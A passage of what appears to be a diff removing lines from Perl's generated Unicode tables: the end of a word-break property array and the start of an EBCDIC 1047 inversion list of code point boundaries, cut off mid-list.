WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_MidNum, - WB_Other, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ExtendNumLet, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNum, - WB_MidLetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Format, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Regional_Indicator, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Modifier, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base_GAZ, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_E_Base, - WB_Other, - WB_Format, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_WB_invlist[] = { /* for EBCDIC 1047 */ - 1744, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x42, - 0x4A, - 0x4B, - 0x4C, - 0x51, - 0x5A, - 0x5E, - 0x5F, - 0x62, - 0x6A, - 0x6B, - 0x6C, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB3, - 0xB4, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x2D8, - 0x2DE, - 0x2E5, - 0x2EC, - 0x300, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x5F4, - 0x5F5, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66C, - 0x66D, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7F8, - 0x7F9, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x859, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1715, - 0x1720, - 0x1732, - 0x1735, - 0x1740, - 0x1752, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C00, - 0x1C24, - 0x1C38, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D00, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2000, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x203F, - 0x2041, - 0x2044, - 0x2045, - 0x2054, - 0x2055, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3000, - 0x3001, - 0x3005, - 0x3006, - 0x302A, - 0x3030, - 0x3031, - 0x3036, - 0x303B, - 0x303D, - 0x3099, - 0x309B, - 0x309D, - 0x30A0, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA717, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA840, - 0xA874, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, - 0xA90A, - 0xA926, - 0xA92E, - 0xA930, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xAA00, - 0xAA29, - 0xAA37, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAE0, - 0xAAEB, - 0xAAF0, - 0xAAF2, - 0xAAF5, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE00, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE14, - 0xFE15, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE53, - 0xFE54, - 0xFE55, - 0xFE56, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF1C, - 0xFF21, - 0xFF3B, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFF9, - 0xFFFC, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102E1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x1037B, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 